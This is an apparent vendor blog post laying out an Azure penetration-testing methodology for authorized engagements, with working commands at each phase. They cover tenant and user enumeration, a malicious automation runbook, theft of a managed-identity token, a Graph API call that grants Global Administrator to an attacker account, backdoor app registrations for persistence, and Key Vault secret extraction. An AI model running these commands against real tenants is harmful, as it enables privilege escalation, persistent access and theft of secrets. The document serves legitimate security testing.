Azure Pentesting Methodology and Mindset

Testing Azure environments requires a fundamentally different approach than traditional network or web application penetration testing. The attack surface is defined by identity, role assignments, and service configuration rather than open ports and unpatched software. This post walks through a practical methodology for Azure penetration testing, the mindset shift required to test cloud environments effectively, and concrete techniques used at each phase of an engagement.

Why Azure Requires a Different Testing Mindset

In traditional infrastructure testing, the perimeter is largely defined by network boundaries. In Azure, the perimeter is defined by identity. A single set of compromised credentials with the right role assignment can grant an attacker access equivalent to, or greater than, what a network-level compromise would provide in an on-premises environment.

This shift means Azure testers need to think in terms of:

  • Identity and access management as the primary security boundary, not the network
  • Role-based access control (RBAC) misconfigurations as a leading cause of privilege escalation
  • Service-to-service trust relationships that can be abused for lateral movement without ever touching a traditional network segment
  • The shared responsibility model, which defines what Microsoft secures versus what the customer is responsible for configuring correctly

Organizations moving workloads to Azure often assume cloud provider security controls handle most of the risk, when in practice the majority of real-world Azure compromises stem from customer-side misconfiguration. Sagefox Cybersecurity structures Azure assessments around this identity-first reality rather than applying a traditional network penetration testing checklist to a cloud environment.

Phase One: Reconnaissance and Enumeration

Unauthenticated Tenant Enumeration

Before any credentials are involved, significant information can be gathered about a target tenant through publicly accessible endpoints.

bash

# Enumerate tenant ID and associated domains
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=user@targetdomain.com&xml=1"

# Check for valid usernames via Azure AD login response timing and error codes
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
 -H "Content-Type: application/json" \
 -d '{"Username":"testuser@targetdomain.com"}'

Enumerating Users and Groups With Valid Low-Privilege Credentials

Once initial access is obtained, whether through phishing, a leaked credential, or a client-provided starting account, enumeration shifts to mapping the tenant's identity structure.

powershell

# Using AzureAD PowerShell module to enumerate users
Connect-AzureAD
Get-AzureADUser -All $true | Select-Object DisplayName, UserPrincipalName, UserType

# Enumerate group memberships for privilege mapping
Get-AzureADGroup -All $true | ForEach-Object {
   Get-AzureADGroupMember -ObjectId $_.ObjectId | Select-Object DisplayName, @{N='Group';E={$_.DisplayName}}
}

Enumerating Role Assignments

Mapping who has what role, at what scope, is the single most important enumeration step in an Azure engagement, since this directly reveals the paths to privilege escalation.

bash

# Using the Azure CLI to enumerate role assignments across the subscription
az role assignment list --all --output table

# Identify custom roles that may have overly broad permissions
az role definition list --custom-role-only true --output json

Automated Attack Path Mapping

Tools purpose-built for Azure attack path analysis dramatically speed up identifying privilege escalation chains that would take hours to trace manually.

bash

# Using AzureHound to collect data for attack path analysis
azurehound list --tenant targettenant.onmicrosoft.com \
 --app-id CLIENT_ID --secret CLIENT_SECRET -o azure_data.json

The collected data can then be ingested into a graph analysis platform to visualize privilege escalation paths from a low-privilege user to Global Administrator, which is often the single most valuable output of the entire reconnaissance phase.

Phase Two: Identifying Privilege Escalation Paths

Abusing Owner Rights on Automation Accounts

Automation accounts often run with elevated permissions through their associated Run As account, and a user with Contributor or Owner rights on the automation account can inject code that executes with those elevated permissions.

powershell

# Enumerate automation accounts and their permissions
Get-AzAutomationAccount

# Create a malicious runbook that executes with the automation account's identity
$runbookContent = @"
`$context = Get-AzContext
Write-Output `$context
Get-AzRoleAssignment
"@

New-AzAutomationRunbook -AutomationAccountName "TargetAutomation" `
 -Name "MaintenanceCheck" -Type PowerShell -ResourceGroupName "TargetRG"

Set-AzAutomationRunbookContent -AutomationAccountName "TargetAutomation" `
 -Name "MaintenanceCheck" -ResourceGroupName "TargetRG" -Path "runbook.ps1"

Publish-AzAutomationRunbook -AutomationAccountName "TargetAutomation" `
 -Name "MaintenanceCheck" -ResourceGroupName "TargetRG"

Start-AzAutomationRunbook -AutomationAccountName "TargetAutomation" `
 -Name "MaintenanceCheck" -ResourceGroupName "TargetRG"

Abusing Managed Identity Access

Virtual machines and other resources configured with a managed identity can be leveraged to obtain a token for whatever role that identity has been assigned, often without any credentials being visible on the resource itself.

bash

# From a compromised VM with a managed identity assigned, request a token
curl -s -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

If that managed identity has been assigned Contributor or higher at a subscription or resource group scope, this token grants the attacker equivalent access without ever needing the original operator's actual credentials.

Application and Service Principal Credential Abuse

Applications registered in Azure AD with excessive API permissions, particularly Application-level Microsoft Graph permissions rather than delegated permissions, represent a common escalation path.

bash

# Enumerate app registrations and their assigned API permissions
az ad app list --query "[].{Name:displayName, AppId:appId}" --output table

az ad app permission list --id APP_ID_HERE

An application with RoleManagement.ReadWrite.Directory or similar high-privilege Graph permissions, if its credentials are compromised, can be used to directly assign the attacker's account to Global Administrator.

python

import requests

token = "ACQUIRED_APP_TOKEN"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

body = {
   "principalId": "ATTACKER_OBJECT_ID",
   "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
   "directoryScopeId": "/"
}

response = requests.post(
   "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments",
   headers=headers, json=body
)
print(response.json())

Password and Secret Exposure in Configuration

Storage accounts, key vaults with overly permissive access policies, and Azure DevOps pipeline variables are frequent sources of exposed secrets that provide a path to further access.

bash

# Checking for publicly accessible storage account containers
az storage container list --account-name targetstorageaccount --auth-mode login

# Attempting anonymous access if container ACLs are misconfigured
curl -s "https://targetstorageaccount.blob.core.windows.net/backups?restype=container&comp=list"

Phase Three: Lateral Movement and Persistence

Lateral Movement Through Resource Sharing

Once a foothold exists in one subscription, cross-subscription role assignments, shared key vaults, and virtual network peering are common paths to expand access into adjacent environments.

bash

# Enumerate all subscriptions the current context has any visibility into
az account list --output table

# Check for role assignments granting access into other subscriptions
az role assignment list --all --query "[?scope contains 'subscriptions']" --output table

Establishing Persistence Through Backdoor App Registrations

Similar to the on-premises technique of creating a backdoor account, Azure persistence often takes the form of an application registration with a long-lived client secret that survives typical credential rotation practices.

bash

az ad app create --display-name "InternalSyncService"
az ad app credential reset --id APP_ID_HERE --append --years 2

Persistence Through Conditional Access Policy Exceptions

A subtle but effective persistence technique involves modifying conditional access policies to exclude a specific account or location from multi-factor authentication requirements, which is easy to overlook during a policy review unless specifically audited.

bash

az rest --method GET \
 --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"

Phase Four: Data Access and Impact Validation

Real-world impact in an Azure engagement usually centers on demonstrating access to sensitive data stores or the ability to disrupt production workloads, always within the agreed engagement scope.

bash

# Enumerate accessible key vaults and their secrets given current permissions
az keyvault list --output table
az keyvault secret list --vault-name TargetVault
az keyvault secret show --vault-name TargetVault --name "DatabaseConnectionString"

Demonstrating that a specific privilege escalation chain leads to reading a production database connection string, rather than simply noting that a role assignment exists, is what transforms a theoretical finding into something a client's leadership will prioritize fixing.

The Mindset Shift for Effective Azure Testing

Think in Graphs, Not Lists

Azure privilege relationships form a graph, where a low-privilege user might reach Global Administrator through a chain of three or four intermediate steps involving group memberships, role assignments, and resource permissions. Testing methodology that only checks individual role assignments in isolation misses these chains entirely. Effective Azure testers build and analyze the full graph before drawing conclusions about what is and is not exploitable.

Assume Breach at the Identity Layer

Rather than only testing external perimeter access, mature Azure assessments often begin with an assumed breach scenario, starting with a standard, non-privileged user account, since this reflects the most common real-world starting point for an actual attacker who has phished a single employee.

Understand the Shared Responsibility Boundary

Not every finding is a customer-side issue, and not every default Azure behavior is a vulnerability. Effective testers understand precisely where Microsoft's responsibility ends and the customer's configuration responsibility begins, which prevents wasted effort chasing platform behavior that cannot be remediated by the client and keeps findings focused on what is actually actionable.

Prioritize Identity Findings Over Traditional Vulnerability Findings

A missing patch on a single virtual machine is rarely as impactful in Azure as a single overly permissive role assignment or an exposed application secret with high-privilege Graph permissions. Reporting and prioritization should reflect this reality rather than defaulting to traditional vulnerability severity scoring models built for on-premises environments.

Building an Azure Testing Program

Recurring Assessment Cadence

Azure environments change constantly as new resources, applications, and role assignments are added by different teams. A point-in-time assessment captures a snapshot that can be outdated within weeks. Organizations with mature cloud security programs pair periodic deep assessments with continuous configuration monitoring to catch drift between engagements.

Purple Team Validation

Running identified attack paths against the client's actual detection tooling, in coordination with their security team, validates whether Azure AD sign-in logs, Microsoft Defender for Cloud, and SIEM correlation rules actually catch the techniques described above, rather than assuming logging coverage exists simply because the service is enabled.

bash

# Reviewing Azure AD sign-in logs for anomalous activity during testing
az rest --method GET \
 --uri "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$filter=riskLevelDuringSignIn eq 'high'"

Key Takeaways

Azure penetration testing succeeds or fails based on how well the tester understands identity as the true security boundary, rather than treating the engagement like a traditional network assessment layered on top of cloud infrastructure. Enumeration should focus on role assignments and trust relationships, escalation paths should be mapped as a graph rather than a list of isolated findings, and impact should be demonstrated through concrete access to sensitive resources rather than theoretical permission analysis alone.

Organizations relying on Azure for production workloads should treat identity and role configuration testing as a standing requirement, tied to the pace of change in their environment rather than an annual checkbox exercise. Teams looking to assess their Azure environment against this identity-first methodology can work with Sagefox Cybersecurity to scope an engagement built around real attack paths rather than a generic cloud checklist.